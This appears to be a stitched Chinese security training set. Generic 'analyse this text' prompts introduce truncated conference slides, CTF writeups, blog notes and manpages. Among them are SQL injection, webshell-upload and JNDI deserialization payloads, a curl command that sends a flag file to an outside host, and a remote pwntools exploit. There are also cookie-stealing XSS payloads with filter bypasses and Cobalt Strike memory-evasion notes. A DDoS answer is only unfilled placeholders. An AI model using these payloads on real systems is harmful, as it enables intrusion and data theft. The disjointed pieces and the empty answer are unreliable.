Locking Down Apache Locking Down Apache Jay Beale Senior Security Consultant, Intelguardians jay@bastille-linux.org (Def Con 12) Contents Configuration Modification Chroot-ing Apache Removing Modules Using Security-focused Apache Modules httpd.conf We harden recent releases of Apache entirely through the httpd.conf file. /etc/apache/httpd.conf (Solaris) /etc/httpd/conf/httpd.conf (Linux, recent) /usr/local/apache/etc/httpd.conf (compiled w/ --prefix=/usr/local/apache) Lets look at this files structure. Apache Configuration File Apaches configuration file starts with a number of generic options and then begins to set options based on parts of the webspace in <Directory> blocks. <Directory /> Order Allow, Deny Deny from All </Directory> Apache Config file The Apache configuration file has three parts. The first part applies to the entire server as a whole, virtual servers and all. ### Section 1: Global Environment ServerRoot "/usr/local/apache" #Listen 12.34.56.78:80 Listen 80 LoadModule access_module modules/mod_access.so LoadModule auth_module modules/mod_auth.so LoadModule auth_anon_module modules/mod_auth_anon.s ... LoadModule alias_module modules/mod_alias.so LoadModule rewrite_module modules/mod_rewrite.so Apache Config File Section 2 (Slide 1/3) Section 2 applies to the main non-virtual server. It also sets defaults for the virtual servers that they can override. ### Section 2: Main server configuration User nobody Group #-1 ServerAdmin you@example.com #ServerName www.example.com:80 DocumentRoot "/usr/local/apache/htdocs" <Directory /> Options FollowSymLinks AllowOverride None </Directory> Apache Config File Section 2 (Slide 2/3) # This should be changed to whatever you set DocumentRoot to. <Directory "/usr/local/apache/htdocs"> Options Indexes FollowSymLinks AllowOverride None Order allow,deny Allow from all </Directory> UserDir public_html #<Directory /home/*/public_html> # AllowOverride FileInfo AuthConfig Limit Indexes # Options MultiViews Indexes SymLinksI


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

Stitching numbers Alex Moneger Security Engineer 10th of August 2014 Generating ROP payloads from in memory numbers Cisco Con!dential 2  2013-2014 Cisco and/or its a"liates. All rights reserved. ! Work for Cisco Systems ! Security engineer in the Cloud Web Security Business Unit (big cloud based security proxy) ! Interested mostly in bits and bytes ! Disclaimer: research own time my opinions not my employers Who am I? Cisco Con!dential 3  2013-2014 Cisco and/or its a"liates. All rights reserved. 1. Brief ROP overview 2. Automating ROP payload generation 3. Number Stitching 1. Goal 2. Finding gadgets 3. Coin change problem 4. Pros, Cons, Tooling 5. Future Work Agenda Cisco Con!dential 4  2013-2014 Cisco and/or its a"liates. All rights reserved. Introduction Cisco Con!dential 5  2013-2014 Cisco and/or its a"liates. All rights reserved. ! Use only gadgets generated by libc or compiler stubs. In short, target the libc or compiler gadgets instead of the binary ones ! Generate payloads using numbers found in memory ! Solve the coin change problem to automatically generate ROP payloads ! Automate the payload generation TL;DR Cisco Con!dential 6  2013-2014 Cisco and/or its a"liates. All rights reserved. ROP overview Cisco Con!dential 7  2013-2014 Cisco and/or its a"liates. All rights reserved. ! Re-use instructions from the vulnerable binary ! Control #ow using the stack pointer ! Multi-staged: 1. Build the payload in memory using gadgets 2. Transfer execution to generated payload ! Only way around todays OS protections (let aside home routers, embedded systems, IoT, ) Principle Cisco Con!dential 8  2013-2014 Cisco and/or its a"liates. All rights reserved. ! Useful instructions => gadgets ! Disassemble backwards from ret instruction ! Good tools available ! Number of gadgets to use is dependent upon target binary Finding instructions Cisco Con!dential 9  2013-2014 Cisco and/or its a"liates. All rights reserved. ! Once payload is built in memory ! Transfer control by pivotin


Instruction: 请解释DDoS攻击的原理和防护方法

Output: DDoS攻击是一种常见的网络安全威胁。攻击原理：[具体原理说明]。防护措施：1. [防护方法1] 2. [防护方法2] 3. [防护方法3]


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

Fooling Image Search Engine Yuanjun GongBin Liang*Jianjun Huang {Gongyuanjun, liangb, hjj}@ruc.edu.cn Renmin University of China 1 2 1. Introduction 2. Technical Background 3. Methodology 4. Attacking Google Image Search Engine 5. Discussion 6. Conclusion Outline  Image search engines (e.g. Google, Baidu) provide service of reverse image search, or search by image, to allow users to search for related images by uploading an image or image URL.  Reverse image search is a content-based image retrieval (CBIR) query technique that involves providing the CBIR system with a sample image that it will then base its search upon; in terms of information retrieval, the sample image is what formulates a search query.[1] Reverse image search may be used to  Locate the source of an image  Find higher resolution versions  Track down the content creator  Detect plagiarism [1]https://en.wikipedia.org/wiki/Reverse_image_search 1. Introduction Query image x Search result 4  Query image Search result 5 Query image Search result 6 Plagiarism Detection Original image Poster of a TV play suspected plagiarism The poster of TV play Fuyao released in June 2016, was accused of plagiarism. The original image is created in 2014 by LuHe, a painter. 7 Plagiarism Detection  poster Original picture  CBIR system can be a potential attack target.  Adversaries may evade the search engine by introducing perturbations to the query image. 8 +𝜀 Query image x adversarial image x No results Evasion Matching Images Query image x Threat model 9 Evasion Search result: original image Query image 10 Evasion Adversarial image No search result: evasion 11 Images Database Local Features SIFT, SURF, etc. Index Database  Aggregated Feature (BoF, VLAD, etc.) Query image  Image With greatest similarity CBIR framework Similarity matching 2. Technical Background Local Features SIFT, SURF, etc. Aggregated Feature (BoF, VLAD, etc.) 12  Essentially, searching similar images in CBIR systems is a image descriptors matching pr


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

2013 Cisco and/or its affiliates. All rights reserved. Page 1 of 20 White Paper Examining the Bitsquatting Attack Surface Bit errors in memory, when they occur in a stored domain name, can direct Internet traffic to the wrong domain potentially compromising security. When a domain name one bit different from a target domain is registered, this is called bitsquatting. This paper describes several previously unknown forms of bitsquatting, and also proposes potential mitigations which do not involve the mass registration of additional bitsquat domains. The conclusion is that the possibility of bitsquat attacks is more widespread than originally thought, but several techniques exist for mitigating the effects of these new attacks. Introduction In the early 1980s, the 7-bit ASCII table became the de facto means of representing text inside computers. Several of the specific bitsquats that are possible today owe their very existence, or their non-existence, to the layout of the ASCII table. The 7-bit ASCII code is actually not a product of modern computers, but is descended from the early 5-bit Baudot codes used in the late nineteenth century and early twentieth centuries by printing telegraph machines. When computers became much more prevalent during the 1950s, it became necessary to standardize the representation of characters between different devices so they could better communicate. By the 1960s, the 5-bit codes used by the telegraph companies had given way to multiple 6-bit codes. Finally in 1963, a seven bit ASCII code was born which was essentially an amalgamation of the FIELDATA military specification, plus the existing ITA-2 telegraph alphabet [1][2]. If you analyze the layout of the ASCII table, some remnants of the old teletypes can be found. For example occupying the very last slot in the 7-bit ASCII table is the DEL or Delete character. In the olden days of punched tape and printing telegraphs, errors could be corrected by punching all the possible holes in a


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

Java安全之Dubbo反序列化漏洞分析 0x00 前言 最近天气冷懒癌又犯了加上各种项目使得本篇文断断续续 0x01 Dubbo 概述 Dubbo是阿里巴巴开源的基于 Java 的高性能 RPC一种远程调用 分布式服务框架SOA致力于 提供高性能和透明化的RPC远程服务调用方案以及SOA服务治理方案dubbo 支持多种序列化方式并 且序列化是和协议相对应的比如Dubbo支持dubbormihessianhttpwebservicethrift redis等多种协议 运行机制 Dubbo框架启动容器Container一启动服务提供者Provider会将提供的服务信息注册到注册中心 Registry注册中心就知道有哪些服务上线了当服务消费者Consumer启动它会从注册中心订阅 subscribe所需要的服务 若某个服务提供者变更比如某个机器下线宕机注册中心基于长连接的方式将变更信息通知给消费 者 消费者可以调用服务提供者的服务同时会根据负载均衡算法选择服务来调用 每次的调用信息服务信息等会定时统计发送给监控中心Monitor监控中心能够监控服务的运行状 态 节点 角色说明 Provider 暴露服务的服务提供方 Consumer 调用远程服务的服务消费方 Registry 服务注册与发现的注册中心 Monitor 统计服务的调用次数和调用时间的监控中心 Container 服务运行容器 以上图片是官方提供的一个运行流程图 1. 服务容器负责启动加载运行服务提供者 2. 服务提供者在启动时向注册中心注册自己提供的服务 3. 服务消费者在启动时向注册中心订阅自己所需的服务 4. 注册中心返回服务提供者地址列表给消费者如果有变更注册中心将基于长连接推送变更数据给 消费者 5. 服务消费者从提供者地址列表中基于软负载均衡算法选一台提供者进行调用如果调用失 败再选另一台调用 6. 服务消费者和提供者在内存中累计调用次数和调用时间定时每分钟发送一次统计数据到监控中 心 在使用Dubbo前需要搭建一个注册中心官方推荐使用Zookeeper 使用 下载解压zookeeper将里面的 zoo_sample.cfg 内容复制到 zoo.cfg 文件中 Zookeeper端口默认是2181可修改进行配置端口 修改完成后运行 zkServer.bat 即可启动Zookeeper dubbo文档 注册服务 定义服务接口 DemoService 定义接口的实现类 DemoServiceImpl 用 Spring 配置声明暴露服务 使用注解配置声明暴露服务在 application.properites 中配置 然后在对应接口使用 @Component 或 @Service 注解进行注册 tickTime=2000 initLimit=10 syncLimit=5 dataDir=D:\漏洞调试\zookeeper-3.3.3\zookeeper-3.3.3\conf\data clientPort=2181 package org.apache.dubbo.samples.basic.api; public interface DemoService { String sayHello(String name); } public class DemoServiceImpl implements DemoService { @Override public String sayHello(String name) { System.out.println("[" + new SimpleDateFormat("HH:mm:ss").format(new Date()) + "] Hello " + name + ", request from consumer: " + RpcContext.getContext().getRemoteAddress()); return "Hello " + name + ", response from provider: " + RpcContext.getContext().getLocalAddress(); } } <bean id="demoService" class="org.apache.dubbo.samples.basic.impl.DemoServiceImpl"/> <dubbo:service interface="org.apache.dubbo.samples.basic.api.DemoService" ref="demoService"/> dubbo.scan.base-packages=org.apache.dubbo.samples 引用远程服务 consumer.xml 配置


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安全文本分析：

红明CTF Web happysql http://eci-2ze7dlrxgodbblkyir9b.cloudeci1.ichunqiu.com/ username=aaaw2aww"|| (strcmp((select%0a*%0afrom%0af1ag),concat("ﬂag{a4398541",char(45),"2ae3",char(45) ,"4439",char(45),"a4f6",char(45),"69eafe0e9b71}"))%0ain%0a(1))#&password=*/# writeShell http://eci-2ze7dlrxgodbcwxp83gz.cloudeci1.ichunqiu.com/?action=upload&data=%3C? =`cat\$IFS/!whatyouwantggggggg401.ph*`?%3E easytp 尝试出弱令123456..... 然后读ﬂag javaweb /login/..;/json 绕过鉴权访问/json接 jackson反序列化post Logback反序列化链进JNDI注 ["ch.qos.logback.core.db.JNDIConnectionSource", {"jndiLocation":"ldap://ip:8013/#Exploit"}] 由于jdk版本过法加载远程class这参考http://www.yulegeyu.com/2018/12/04/JN DI-Injection-Via-LDAP-Deserialize/ 利LDAP Server返回序列化数据触发反序列化尝试 反弹shell失败最终使cc5 curl http://ip:port/ -d @/ﬂag拿到ﬂag Reverse g0 https://pan.baidu.com/s/1ey1E5pa7tevQs7-qRpwOwA 提取码GAME 输经过简单乱序后直接作为bigint的rawbytes(big endian)经过base58编码后与预定值较 Pwn 双边协议1.0 nc 8.140.179.11 13452 获得权限后执pwn件同录下的"getﬂag"并输队伍token即可获取ﬂag https://pan.baidu.com/s/1jPP-0fa73PMHiCh-HaKvJg 提取码GAME add 之后 再改个size 似乎就可以溢出了 import base58 1 import string 2 3 def deb58(enc): 4 tbl0 = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz' 5 tbl1 = '12Nrst6CDquvG7BefghJKLMEFHPQZabRSTUVmyzno89ApwxWXYcdkij345' 6 trans = enc.translate(enc.maketrans(tbl1, tbl0)) 7 return base58.b58decode(trans) 8 9 if __name__ == '__main__': 10 ret = deb58('2GVdudkYo2CBXoQii7gfpkjTc4gT') 11 flag = ret[15:]+ret[0:5]+ret[10:15]+ret[5:10] 12 print(flag) 13 14 from pwn import * 1 2 # s = process("./Maybe_fun_game") 3 s = remote("8.140.179.11","13452") 4 5 def parse(buf,size=8): 6 buf = str(buf) 7 tmp = '' 8 tmp += p64(0x1234567812345678) 9 tmp += p64(len(buf)+0x20+size) #c8 10 tmp += p64(size) #d0 11 tmp += p64(len(buf)) #d8 12 for i in range(size): 13 tmp += '\x41' 14 tmp += str(buf) 15 return b64e(tmp) 16 17 def get(buf): 18 return b64d(buf)[0x28:] 19 20 def add(size,buf=''): 21 s.sendlineafter("eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob 2ljZSA/Pg==",parse(1)) 22 s.sendlineafter


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安全文本分析：

HCTF2016-Writeup --by Nu1L 目 录 HCTF2016-Writeup.....................................................................................................1 Level1............................................................................................................................2 1. Reverse-Web...............................................................................................2 2. Misc-杂项签到...................................................................................................3 3. Web-2099 年的 flag......................................................................................... 4 Level2............................................................................................................................4 1. Web-ReSrful.................................................................................................4 2. Misc-pic again..............................................................................................5 3. Web-giligile...................................................................................................5 4. Misc-你所知道的隐写就仅此而已吗..........................................................7 5. Misc-gogogo.................................................................................................8 6. Reverse-前年的 400 分...............................................................................8 7. Web-兵者多诡异........................................................................................13 8. Crypto-Crypto So Interesting...................................................................14 9. Pwn-就是干................................................................................................ 14 Level3..........................................................................................................................23 1. Misc-48 小时如何快速精通 c++...............................................................23 2. Web-香港记者还要快..................................................................


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Botnet and Malware behavior analysis 蔡一郎 2010/07/17 Honeynet Project Taiwan Chapter www.honeynet.org.tw  蔡一郎 Steven  學歷國立成功大學電機工程研究所碩士  現任國家高速網路與計算中心 副工程師  重要經歷  國立成功大學研究發展基金會助理研究員  崑山科技大學兼任講師  台南科學園區產學協會理事  Honeynet Project Taiwan Chapter負責人  自由作家  電腦圖書著作33本  Information Security(資安人)Linux GuideNetAdmin專欄計60餘篇  專業證照  RHCECCNACCAICEHCHFIACIAITIL FoundationISO 27001 LACISO 20000 LAC 2 Google Me. Honeynet Project Taiwan Chapter www.honeynet.org.tw Outline  Honeynet and Botnet  Honeynet Project introduction  Taiwan Chapter introduction  What is Honeypot and Honeynet  Honeynet Project Tools  TWMAN 3 Honeynet Project Taiwan Chapter www.honeynet.org.tw  Where can find Malware sample?  UserproviderHoneynet  What is the behavior about Botnet?  Network connectionsystem modify  Multi Function  bots 4 Honeynet and Botnet Honeynet Project Taiwan Chapter www.honeynet.org.tw  Non-profit (501c3) organization with Board of Directors.  Funded by sponsors  Global set of diverse skills and experiences.  Open Source, share all of our research and findings at no cost to the public.  Deploy networks around the world to be hacked.  Everything we capture is happening in the wild.  We have nothing to sell. 5 Honeynet Project introduction Honeynet Project Taiwan Chapter www.honeynet.org.tw  A community of organizations actively researching, developing and deploying Honeynets and sharing the lessons learned.  Awareness: 增進企業與組織對存在於現行網路上的威脅與 弱點之了解進一步思考如何去減輕威脅的方法  Information: 除了提供基本的攻擊活動外進一步提供更關 鍵性的資料如: 攻擊動機駭客間如何聯絡駭客攻破主機 後下一步的攻擊動作  Tools: Honeynet Project 致力於發展 Open Source Tools藉 由這些Tools我們可以更有效率的佈建誘捕系統了解網路環 境攻擊威脅現況 6 Honeynet Project Mission Honeynet Project Taiwan Chapter www.honeynet.org.tw 7 Honeynet Project 全球支會分布 Taiwan Chapter Honeynet Project Taiwan Chapter www.honeynet.org.tw  What is a Honeynet ?  High-interaction Honeypot  It is an architecture, not a product or software  Populate with live systems  Once compromised, data is collected to learn the tools, tactics, and motives of the


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Hiding Wookiees in HTTP @regilero HTTP smuggling is a thing we should know better and care about. DEFCON 24 Why wookiees?  It's all about smugglers, wookiee requests and responses  Wookiee language is a thing  hard to speak  Easy to misinterpret Outline  The minimum required on HTTP (Keep-alive, pipelining)  What is HTTP smuggling, exploitations  Some recent attack vectors  HTTP 0.9  Demos: credential hijacking & cache poisoning without a cache  A tool : HTTPWookiee whoami  @regilero (twitter / stack Overflow / Github)  I work in a small French Free Software web company, Makina Corpus (50p).  I'm a DevOp (I was a DevOp before the start of this millenium).  Web Security is a small part of my day job, and spare time.  If I can do it, others might have done it. Why did I start testing my HTTP tools?  I really like working with Open Source HTTP servers and proxies  I found 2 interesting papers:  HTTP Host header real world attacks : http://www.skeletonscribe.net/2013/05/practical-http- host-header-attacks.html  (2005) HTTP smuggling study : http://www.cgisecurity.com/lib/HTTP-Request- Smuggling.pdf HTTP Smuggling: Protocol level Attack  Injection of hidden HTTP message (request or response) inside another  These are usually not browser-based exploits  Crafting low level HTTP messages  By definition, most available tools will NOT generate these bad messages  Usually, get errors without consequences...   but not always Before we start: Keepalives and Pipelines  1 TCP/IP connection per resource  Big perf killer  By the way (and this is still true), the connection ending is complex So, Keepalive  The SYN, SYN/ACK, ACK is made only once, connection is kept open  May be reused for next exchange  If you do not use HTTP/2, chances are this is what your browser does Pipelines, source of most smuggling issues  Not really used  But supported by servers  Still have to wait if one response is big (Head of line blocking)  Wonder why HTTP/2 finally used a real binary multiplexing prot


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

0x01利编辑器的超链接组件导致存储XSS 鄙太菜了没啥质量的洞呀随便篇章吧 在的夜晚某骇客喊我起床挖洞偷瞄了下发现平台正好出活动了想着试吧 先信息收集了下发现个奇怪了域名引起了我的注意访问后发现是个投稿平台可以发布章到后台 进审核 使账户登录进系统就能发现处章管理 第时间就想到发布章再观察系统中发现个不知名的编辑器知道的可以说下存在 超链接 功能 那么就尝试利下吧 在超链接中注伪协议来构造xss 这有个细节就是下的按钮 1. 当处于开启状态时触发超链接按钮后会在新窗中执跳转操作 2. 当处于关闭状态时触发超链接按钮后会在当前站中执javascript操作 所以这就需要关闭掉 发布章后可以看到在正中成功触发javascript 因为这我是直接插的超链接 所以中是处于纯状态 0x02章正处的存储XSS绕过 来到新建章中就是上payload鄙很菜挖XSS都是框就X 在标题处和正中输payload点击提交开启burpsuite抓包 可以看到运作过程是先进前端HTML实体编码处理 这边只要重新替换掉payload就可以达到绕过的效果了 访问发布的章后成功触发XSS 此两个存储XSS提交上去收睡觉 0x03编辑器中的媒体组件导致存储XSS 经过上回的两个存储XSS我觉得还没完第天继续看果然功夫不负有 在测试编辑器的其他功能后发现媒体功能插的资源地址可以回显在 添加络资源 其过滤了很多了标签事件但并不妨碍我们通过burp进FUZZ 选择嵌式媒体经过反复测试构造如下payload x"><marquee loop=1 width=0 onfinish=alert(document.cookie)> 提交章后访问url 成功触发 0x04编辑器中的媒体组件导致存储XSSBypass 前的漏洞均已提交过了天就修复了本来以为这样就结束了然事情并不如此 既然修复了那么真男就该尝试绕过根据0x03的操作步骤重新打了遍发现其中的种种过滤问题 1. 过滤了alert脚本函数 2. 过滤了不少js事件但Onfinish事件没有过滤 标签也没有进过滤 这个开发估计也是偷懒了过滤做的拉胯的批那我们就对症下药更换 最后也是如愿以偿的执了 因为业务线那边的修复状态原因前还不便更新该站的绕过只能步 x"><marquee loop=1 width=0 onfinish=prompt(document.cookie 3. 因为业务线那边的修复状态原因前还不便更新该站的绕过只能步 欲知后事如何,请听下回分解 0x05 分享些xsstips 1.当某参数输出的值在JS中被反引号包囊通过${ }可以执javascript 2.SVG中的测试XSS 3.不允许使函数执的WAF可尝试如下payload绕过 4.在测试中也可以尝试使编码绕过多重url编码HTML实体编码json 些字符拼接 或者使回;换 绕过 某些WAF \r\n可以实现绕过 payload: <script>var a=`Hello${alert(1)}`</script> <?xml version="1.0" encoding="UTF-8" standalone="no"?> <svgonload="window.location='https://www.baidu.com'"xmlns= </svg> <svg/onload="[]['\146\151\154\164\145\162'] ['\143\157\156\163\164\162\165\143\164\157\162']('\141\154 ()"> <svg onload\r\n=$.globalEval("al"+"ert()");> <svg onload\r\n=$.globalEval("al"+"ert()");>


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

我的CS笔记之- In-memory Evasion 4-5 0x00 前言 In-memory Evasion 4-5其中包含了威胁模拟的介绍大致意思就是通过修改c2profile模仿真实APT的样 本会产生的特征行为等也不是百分百模拟就是模拟了一下yara规则中的静态特征感兴趣的小伙伴 自行学习我就不做笔记了除了威胁模拟视频中还介绍了cs3.11引入 的一些内存对抗新功能主要是 Module Stomping和cleanup这2个功能这里不由感叹一句自从CS被卖了以后的更换了老大以 后更新越来越不行了还开始搞java代码混淆class完整性校验多把精力花在怎么进化CS上吧 @Joe Vest @Greg Darwinps:虽然这俩肯定是看不到这个文档的 言归正传我主要记录Module Stomping和cleanup这2个功能 0x01 Module Stomping和cleanup 我们首先回忆一下In-memory Evasion 2中的stageless payload加载过程中的 1. 申请一个块儿内存allocate memory 2. 复制Stager去这一块儿内存里 3. 创建一个线程运行这个Stager 4. 这个Stager会再次申请一块儿内存 5. Stager去下载加密的payload写入申请的内存中 6. Stager把执行流程转递给这个加密的payload 7. 加密的payload自解密成Reflective DLL 8. 然后把执行流程传递给Reflective DLL 9. Reflective DLL 申请一块儿内存 10. 然后初始化自己在新的内存里面 11. 最后reflective DLL 调用payload的入口点函数 上面的步骤分配了2次内存在内存中如图所示 1-3 我们可以使用artifact kit做自定义处理但是9-11就很麻烦9-11是一个反射DLL这个反射dll包含2 部分一部分是反射loader一部分是beacon的功能9-10就是使用反射loader来加载beacon功能的 过程这儿也是被防御查杀拦截的重点我开始对CS4.4新的自定义反射dll loader kit理解错误也是这 儿cs4.4这个自定义kit自定义的只是这个反射loader并不包含beacon的功能而BeaconEye的查杀 点是Beacon功能中的行为因此cs4.4这个kit也不能直接对抗BeaconEye这个kit并不包含自定义 Beacon功能回归正题我们的Module Stomping是怎么在9-11中起作用的 我们知道反射DLL分为反射dll loader和beacon的功能在loader加载功能的时候我们就可以做很多事 情Module Stomping就是在这个过程中起作用的 我们再看看Module Stomping具体是什么技术很简单就是导入一个系统上正常的DLL进入内存 中然后替换内存内容为我们的beacon功能这样可以避免使用虚拟内存分配函数virtualAlloc等同时 让beacon功能看上去很像一个正常DLL这里面存在几个问题 导入的DLL不能太小太小导致内存空间小不能够完全复制我们的beacon功能进去 同一个DLL在不同系统上的大小可能是不一样有些dll在win10上很大08上只有1/3大小因此 你上线win10正常上线08可能就crash了 这个系统的DLL必须有导出函数因为反射loader需要通过导出函数去找DLL在内存中的位置 当然反射loader也有一些防止出错的机制 Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily No. 1 / 2 - Welcome to www.red-team.cn 如果配置的系统DLL不存在会返回使用VirtualAlloc 如果配置中的DLL已经被进程导入了会返回使用VirtualAlloc 使用前用一定要用c2lint测试一下 当然了我们写入到内存的beacon代码也是可以开启混淆的因为Module Stomping功能具有一定隐蔽 性因此适合长期潜伏通道同时这个功能也不适合高频次的操作操作多容易出错 我们再回到1-3步中的如果不使用artifact kit自定义使用默认的stageless初始化的时候就存在一次内 存申请申请的内存在后面其实是不会使用了但是也没有释放因此很容易被拿去做内存扫描特征 如果我们设置了cleanup就会调用VirtualFree释放这个初始化过程中的内存 我们开启这3个配置 也是被混淆的 RWX当然也可以通过c2profile配置进行规避 0x02 总结 这个In-memory Evasion系列视频是作者2018年录制的也是cs3


Instruction: 请分析这段安全相关的文本内容

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export === 为shell变量或函数设置导出属性 ## 概要 ``` export [-fn] [name[=word]]... export -p ``` ## 主要用途 - 定义一到多个变量并设置导出属性 - 修改一到多个变量的值并设置导出属性 - 删除一到多个变量的导出属性 - 显示全部拥有导出属性的变量 - 为一到多个已定义函数新增导出属性 - 删除一到多个函数的导出属性 - 显示全部拥有导出属性的函数 ## 选项 ```shell -f指向函数 -n删除变量的导出属性 -p显示全部拥有导出属性的变量 -pf显示全部拥有导出属性的函数 -nf删除函数的导出属性 --在它之后的选项无效 ``` ## 参数 name可选变量名或已定义函数名 value可选变量的值 ### 返回值 export返回true除非你提供了非法选项或非法名称 ## 例子 ```shell # 显示全部拥有导出属性的变量 # export -p # export # 显示全部拥有导出属性的函数 # export -pf ``` ```shell # 首先删除要演示的变量名 #unset a b # 定义变量的同时增加导出属性 export a b=3 # 当然也可以先定义后增加导出属性 b=3 export b # 修改拥有导出属性的变量的值 export a=5 b=7 # 当然也可以直接赋值修改 a=5;b=7 # 删除变量的导出属性 export -n a b ``` ```shell # 首先删除要演示的函数名 unset func_1 func_2 # 创建函数 function func_1(){ echo '123'; } function func_2(){ echo '890'; } # 为已定义函数增加导出属性 export -f func_1 func_2 # 删除函数的导出属性 export -fn a b ``` ```shell # 添加环境变量JAVA到`~/.bashrc` PATH=/usr/local/jdk1.7.0/bin:$PATH # 添加当前位置到动态库环境变量 export LD_LIBRARY_PATH=$(pwd):${LD_LIBRARY_PATH} ``` ## 错误用法 - 对未定义的函数添加导出属性 - 对没有导出属性的函数/变量执行删除导出属性操作 - 在 `--` 后使用选项 ## Q&A #### Q对变量或函数设置导出属性有什么用 A它们会成为环境变量可以在脚本中访问它们尤其是脚本中调用的子进程需要时 **[参考链接4][4]**  #### Q如果我编写的脚本修改了已有的环境变量的值那么执行它会在当前终端生效吗会影响之前以及之后打开的终端吗 A只有通过`source`方式调用的脚本会生效您可以查看`source`命令获得更多信息其他方式只是在子shell中执行 之前的不会影响之后的除非是修改了`~/.bashrc`这种启动终端时加载的脚本 **[参考链接1][1]**  #### Q我脚本文件中调用`~/.bashrc`中定义的函数和变量为什么在新打开的终端中通过 `sh` 方式调用该脚本或直接运行 这个当前用户有执行权限的脚本却不能使用这些函数和变量 A请在`~/.bashrc`文件中增加export它们的语句另请参阅 **知识点** 段落 #### Q数组和关联数组也可以设置导出属性吗 A是可以的如果你的bash支持它们不过有些问题 **[参考链接2][2]**  #### Q为什么我在查看变量或函数导出属性的时候显示的开头是`declare` A因为`declare`也能够设置变量或函数的导出属性详见`declare`命令 ### 注意 1. 该命令是bash内建命令相关的帮助信息请查看`help`命令 ### 知识点 在`info bash`或 [bash在线文档](http://www.gnu.org/software/bash/manual/bash.html) 的 `3.7.3`节提到了shell执行环境其中涉及变量和函数的内容如下 > - shell parameters that are set by variable assignment or with set or inherited from the shells parent in the environment > - shell functions defined during execution or inherited from the shells parent in the environment 那么第一句话中的参数又和变量有什么关系呢在`3.4`节第一段中提到 > A varia


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1 http://www.soldierx.com/defcon16speech/docsis_insecure_by_design-blake_durandal.ppt Humor 2 Maybe Ted Stevens has a series of hacked modems and a drop amp at his place. Could this be the reason he thinks that the internet is a series of tubes? Background  Personal  Conducted SIPRNET Administration and Red Team Penetration Testing for the USMC.  I currently do research for SERC (Software Engineering Research Center), an NSF Industry/University Cooperative Research Center.  Speech  A much shorter version of this presentation was given at the Spring 2008 SERC Showcase.  Various people (such as Durandal from SOLDIERX) have used the methods in this Defcon presentation to put and keep modems online. 3 What This Speech Will Cover  Requirements (for our examples)  Network Overview  Anonymous Access  Gaining service with a non provisioned MAC address  Cloning a HFC MAC linked to an ISP account  How Anonymous You Really Are  How close ISPs can pinpoint your location as well as techniques to catch people abusing/stealing service  Firmware Overview  Hardware and Security  Specifications, firmware disassembly, current and future security solutions 4 Requirements  What do you need for our examples?  Coaxial connection to the cable company  JTAG cable  MIPS EJTAG (Enhanced Joint Test Action Group)  - USB Cypress or FTDI based JTAG (Fast)  - Parallel buffered/unbuffered JTAG (Slow)  SB5100/5101 cable modem  Other modems can be modified  Soldering Skills + 10 pin header  YouTube is an excellent resource for soldering reference  Applications for flashing the firmware onto a modem  Parallel - Schwartze Katze by tcniso.com  USB - USB JTAG from usbjtag.com 5 Requirements In Depth  Cable connection  EJTAG Cable  Easy to make  Available online  USBJtag  Difficult to make  Really fast 6 Requirements In Depth (contd) 7 Requirements In Depth (contd)  Modify the SB5100/5101 or buy a Premod  (available from sites like www.sbhacker.net) 8 Requirements In Depth (contd)  Program the SB5100/5101


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.\" Copyright (c) 1980, 1990 The Regents of the University of California. .\" All rights reserved. .\" .\" Redistribution and use in source and binary forms, with or without .\" modification, are permitted provided that the following conditions .\" are met: .\" 1. Redistributions of source code must retain the above copyright .\" notice, this list of conditions and the following disclaimer. .\" 2. Redistributions in binary form must reproduce the above copyright .\" notice, this list of conditions and the following disclaimer in the .\" documentation and/or other materials provided with the distribution. .\" 3. All advertising materials mentioning features or use of this software .\" must display the following acknowledgement: .\" This product includes software developed by the University of .\" California, Berkeley and its contributors. .\" 4. Neither the name of the University nor the names of its contributors .\" may be used to endorse or promote products derived from this software .\" without specific prior written permission. .\" .\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND .\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE .\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE .\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE .\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL .\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS .\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) .\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT .\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY .\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF .\" SUCH DAMAGE. .\" .\" from: @(#)biff.1 6.5 (Berkeley) 3/14/91 .\" .TH BIFF 1 1999-07-31 GNU .Dd July 31, 1999 .Dt BIFF 1 .Os "Linux NetKit (0.16)" .Sh "名称 (NAME)" .Nm biff .Nd "新到邮


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Key-Logger, Video, Mouse How to turn your KVM into a raging key-logging monster MEETTHETEAM Yaniv Balmas This should theoretically work Security Researcher Lior Oppenheim The mad scientist Check Point Software Technologies Check Point Software Technologies Security Researcher TOOMANYCOMPUTERS  Computers  More computers  A LOT OF COMPUTERS WHATISKVM?  Keyboard, Video, Mouse  KVM Connects the same Keyboard, Video and Mouse to one or more computers. KVMEVOLUTION 1981 `A-B Switch` 2002 Desktop KVM 2015 Enterprise KVM WHEREARETHEY?  On top of your server racks.  On your desktop.  In your security centres. KVMS ARE EVERYWHERE!! Introducing Gen-KVM ITRUNSCODE  On screen conﬁguration display.  Conﬁgurable hot-keys.  Control device functionality through keyboard. Exploitable? + + = First Attempt (Funny meme here) SOFTWARE  Opening the KVM box.  Manuals, Cables, Warranty and CD  CD contains A Firmware Upgrade Utility!  Can the ﬁrmware be extracted from the upgrade utility?!  Since x86 is no new territory. we can reverse engineer this! MEETTHEBLOB Low Entropy No Strings 